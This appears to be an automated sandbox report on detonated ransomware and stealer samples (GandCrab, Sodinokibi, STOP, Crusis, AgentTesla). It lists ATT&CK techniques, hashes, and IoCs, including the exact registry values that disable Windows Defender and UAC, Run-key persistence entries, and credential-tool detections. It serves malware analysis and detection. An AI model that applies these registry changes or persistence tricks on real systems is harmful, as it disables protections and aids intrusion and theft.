agenttesla | c21aa3d27a5957e5c39e4c0630d1c0e6a9083a670e0f1c81a1fba9fa1115442c

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\software\policies\microsoft\windows defender\real-time protection	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\real-time protection\DisableBehaviorMonitoring = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\real-time protection\DisableOnAccessProtection = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\real-time protection\DisableScanOnRealtimeEnable = "1"	msiexec.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Sodinokibi family
sodinokibi

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	msiexec.exe

XtremeRAT
The XtremeRAT was developed by xtremecoder and has been available since at least 2010, and written in Delphi.
persistence spyware rat xtremerat
Xtremerat family
xtremerat

AgentTesla payload 1 IoCs

resource	yara_rule
behavioral1/memory/5460-26644-0x0000000000400000-0x000000000044E000-memory.dmp	family_agenttesla

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Detected Nirsoft tools 1 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral1/memory/5676-1060-0x00000000055E0000-0x0000000005656000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral1/memory/5676-1060-0x00000000055E0000-0x0000000005656000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral1/memory/5676-1060-0x00000000055E0000-0x0000000005656000-memory.dmp	WebBrowserPassView

Renames multiple (274) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Renames multiple (66) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral1/memory/3264-891-0x0000000140000000-0x00000001400FB000-memory.dmp	mimikatz
behavioral1/memory/3164-1049-0x0000000000400000-0x0000000000B5B000-memory.dmp	mimikatz
behavioral1/memory/3164-1053-0x0000000000400000-0x0000000000B5B000-memory.dmp	mimikatz
behavioral1/memory/3164-4251-0x0000000000400000-0x0000000000B5B000-memory.dmp	mimikatz
behavioral1/memory/3164-8791-0x0000000000400000-0x0000000000B5B000-memory.dmp	mimikatz

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\software\microsoft\windows\currentversion\Policies\Explorer\Run	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\MozillaMaintenanceServiceu = "C:\\ProgramData\\Mozilla Maintenance Service\\MozillaMaintenanceServiceu.exe"	msiexec.exe

Disables taskbar notifications via registry modification
evasion

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	HEUR-Trojan-Ransom.Win32.Blocker.vho-5caad423df6fcb87b21006eabe45e3cb5dae1a5dba8f3b0c1a9e6ca0af350666.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	Trojan-Ransom.Win32.CryFile.zzl-d781d8a94e02093ccdb2e4b698582b3a1ea42b154829794b430f649fe12870f2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	HPXmmgLUSavYuccxma5.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\38d435a138d432416c.lock	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\YEYFQM-MANUAL.txt	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe

Executes dropped EXE 35 IoCs

pid	Process
4104	HEUR-Trojan-Ransom.MSIL.Blocker.gen-481e96139f87e511669b713d5810b18682d9914699cc4f1f51f71ec12523bfa8.exe
2272	HEUR-Trojan-Ransom.Win32.Blocker.vho-5caad423df6fcb87b21006eabe45e3cb5dae1a5dba8f3b0c1a9e6ca0af350666.exe
4700	HEUR-Trojan-Ransom.Win32.Cryptor.gen-eb135d0764932501b0122620e2b7a7ca5b56786d1a937871372ae989609cc3f8.exe
2424	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
1836	HEUR-Trojan-Ransom.Win32.Gen.gen-70cb325da7e54f302dd59c22effc1cb651f270c72b1323fda2331c6acf07dca8.exe
4476	HEUR-Trojan-Ransom.Win32.Cryptor.gen-eb135d0764932501b0122620e2b7a7ca5b56786d1a937871372ae989609cc3f8.exe
752	HEUR-Trojan-Ransom.Win32.Generic-c85c16d46f7830ad5afc138282399bb1de7b71e67d516e7c76973c54d187d906.exe
1808	tpvpyme.exe
5096	Trojan-Ransom.MSIL.GandCrypt.f-5517c81c33300ed1d8771752b2ce39b47461c1246ecde81393df552a0b445e58.exe
1948	Trojan-Ransom.Win32.Blocker.jiqg-ebcb76212a57b469c83b1893f3b22c4199e8726495b057e2c45b3ce146f8d4cc.exe
2224	Trojan-Ransom.Win32.Blocker.mmug-b008c96b1ba6c13c4e922202baad57e199d9dee32a97a1443548c8a0ca303492.exe
4300	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
380	HPXmmgLUSavYuccxma5.exe
3164	Trojan-Ransom.Win32.CryFile.zzl-d781d8a94e02093ccdb2e4b698582b3a1ea42b154829794b430f649fe12870f2.exe
3264	mmkt.exe
2636	Trojan-Ransom.Win32.DigiPog.ep-fdbe5f69bb19bd05372847a7e3aa3196bfbd2cf620baec58bb8ac42c995a61ac.exe
2712	Trojan-Ransom.Win32.GandCrypt.jcc-45a2cc9060b21404632f07ee468d105ccd42075feb680f00d3aa1c20a19d272a.exe
2660	bmlplan.exe
4232	Trojan-Ransom.Win32.GandCrypt.jdv-0d641a6e15a1b393fa49c6c2e98ada6e7a04a9163667f667d3776786515d0991.exe
1896	bmlplan.exe
4032	Trojan-Ransom.Win32.GandCrypt.jes-79967e1aba8d8bd41f5fa97871f496ff3d7dcaf66d879d0134c6f9d056010697.exe
2476	Trojan-Ransom.Win32.Sodin.abv-6e5f225b72d932fa68cafd3e0366298d5b1b92098049dcf01f6e3f2ad0f9b92e.exe
2864	Trojan-Ransom.Win32.Sodin.adh-a8330e4e9ae277220a20ab4fd818495b3e6ff997f2a07215435d4f6262eccdcd.exe
4004	Trojan-Ransom.Win32.Sodin.aaz-47e05f24669a0ffd7ca461aaf7e76e0b6e17f6cf424e4d854ddc584ee26ef42c.exe
4440	Trojan-Ransom.Win32.Sodin.alx-f87cc35fedf1bcfa47f9df0d08bbc0d6741f46241a214dbdfa6b2ae6ac09068a.exe
4392	Trojan-Ransom.Win32.Sodin.ax-a8309e454d9177a8fe2c84c79925fa800282f9fde2413f219dbf60fc77dd37a1.exe
4676	Trojan-Ransom.Win32.Sodin.bb-20684d3edd9d61bbe0a84559c8e197a02a123e697bc8d05bd9305cf1d3984c15.exe
3552	Trojan-Ransom.Win32.Stop.in-488fc31a56df22ee62120505326df0699627525c17fbdde472437f447ba2b779.exe
4700	Sicck.exe
3192	Trojan-Ransom.Win32.Stop.kz-51279cf0dd0716de867e5bc706ef180f4ff1ed62e56c8a5858565408f41423c5.exe
2828	Trojan-Ransom.Win32.Stop.ln-c68ff2b64fe8310e584f0680e62c1283df48af9d09be486feaa820b57090e79c.exe
2088	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
5656	HEUR-Trojan-Ransom.Win32.Gen.gen-70cb325da7e54f302dd59c22effc1cb651f270c72b1323fda2331c6acf07dca8.exe
6140	HPXmmgLUSavYuccxma5.exe
4416	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
9872	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	HEUR-Trojan-Ransom.Win32.Gen.gen-70cb325da7e54f302dd59c22effc1cb651f270c72b1323fda2331c6acf07dca8.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	HEUR-Trojan-Ransom.Win32.Gen.gen-70cb325da7e54f302dd59c22effc1cb651f270c72b1323fda2331c6acf07dca8.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	HEUR-Trojan-Ransom.Win32.Gen.gen-70cb325da7e54f302dd59c22effc1cb651f270c72b1323fda2331c6acf07dca8.exe

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\5198ff1b-df14-4fbf-b4e5-7d3b448b8b11\\Trojan-Ransom.Win32.Stop.ln-c68ff2b64fe8310e584f0680e62c1283df48af9d09be486feaa820b57090e79c.exe\" --AutoStart"	Trojan-Ransom.Win32.Stop.ln-c68ff2b64fe8310e584f0680e62c1283df48af9d09be486feaa820b57090e79c.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	Trojan-Ransom.Win32.Blocker.mmug-b008c96b1ba6c13c4e922202baad57e199d9dee32a97a1443548c8a0ca303492.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\None = "C:\\Users\\Admin\\AppData\\Roaming\\invoice"	HPXmmgLUSavYuccxma5.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\hinjfcglyzt = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\bzxjlj.exe\""	Trojan-Ransom.Win32.GandCrypt.jcc-45a2cc9060b21404632f07ee468d105ccd42075feb680f00d3aa1c20a19d272a.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\pkommgwfuhq = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\yiqpya.exe\""	Trojan-Ransom.Win32.GandCrypt.jdv-0d641a6e15a1b393fa49c6c2e98ada6e7a04a9163667f667d3776786515d0991.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\huatobssgsh = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\wnkoag.exe\""	Trojan-Ransom.Win32.GandCrypt.jes-79967e1aba8d8bd41f5fa97871f496ff3d7dcaf66d879d0134c6f9d056010697.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\nxlzfuoygnn = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\ekziuk.exe\""	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe = "C:\\Windows\\System32\\Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe"	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\desktop.ini	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\$Recycle.Bin\S-1-5-21-4050598569-1597076380-177084960-1000\desktop.ini	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-4050598569-1597076380-177084960-1000\desktop.ini	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\I:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\R:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\V:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\X:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\Y:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\L:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\I:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\P:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\J:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\K:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\P:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\T:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\O:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\W:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\Z:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\M:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\G:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\S:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\U:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\Z:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\K:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\N:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\Q:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\T:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\A:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\M:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\V:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\X:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\N:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\B:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\E:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\J:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\E:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\Q:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\A:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\B:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\H:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\O:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\U:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\R:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\W:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\Y:	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
File opened (read-only)	\??\G:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\H:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\L:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened (read-only)	\??\S:	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe

Looks up external IP address via web service 12 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
321	api.2ip.ua
604	bot.whatismyipaddress.com
738	api.2ip.ua
806	api.2ip.ua
1502	api.2ip.ua
2736	api.ipify.org
242	api.2ip.ua
243	api.2ip.ua
1364	api.2ip.ua
2731	api.ipify.org
452	api.2ip.ua
912	bot.whatismyipaddress.com

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	bmlplan.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	bmlplan.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	bmlplan.exe
File created	C:\Windows\System32\Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	bmlplan.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1836 set thread context of 5656	1836	HEUR-Trojan-Ransom.Win32.Gen.gen-70cb325da7e54f302dd59c22effc1cb651f270c72b1323fda2331c6acf07dca8.exe	166
PID 380 set thread context of 5676	380	HPXmmgLUSavYuccxma5.exe	168
PID 4300 set thread context of 4416	4300	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe	180

UPX packed file 12 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2272-103-0x0000000000400000-0x0000000000424000-memory.dmp	upx
behavioral1/files/0x000b000000023ba4-105.dat	upx
behavioral1/memory/2272-263-0x0000000000400000-0x0000000000424000-memory.dmp	upx
behavioral1/memory/2636-871-0x0000000000400000-0x0000000000434000-memory.dmp	upx
behavioral1/files/0x0008000000023bcd-868.dat	upx
behavioral1/files/0x0007000000023da8-18247.dat	upx
behavioral1/memory/11588-18617-0x0000000000400000-0x000000000051F000-memory.dmp	upx
behavioral1/memory/7788-20567-0x0000000000400000-0x000000000051F000-memory.dmp	upx
behavioral1/memory/11588-22878-0x0000000000400000-0x000000000051F000-memory.dmp	upx
behavioral1/memory/7788-26110-0x0000000000400000-0x000000000051F000-memory.dmp	upx
behavioral1/memory/11588-26586-0x0000000000400000-0x000000000051F000-memory.dmp	upx
behavioral1/memory/7788-26617-0x0000000000400000-0x000000000051F000-memory.dmp	upx

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\ja-JP\TipRes.dll.mui	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Collections.NonGeneric.dll	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Reflection.Emit.dll.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\Microsoft Office\root\Office16\MEDIA\BOMB.WAV.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Threading.Tasks.Parallel.dll	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-black_scale-180.png	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\Microsoft Office\root\Templates\1033\Training.potx.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-file-l2-1-0.dll.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.sr-latn-rs.dll	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\hr-HR\tipresx.dll.mui	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\bcel.md.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Private.Uri.dll.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\Bibliography\Style\GostTitle.XSL.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
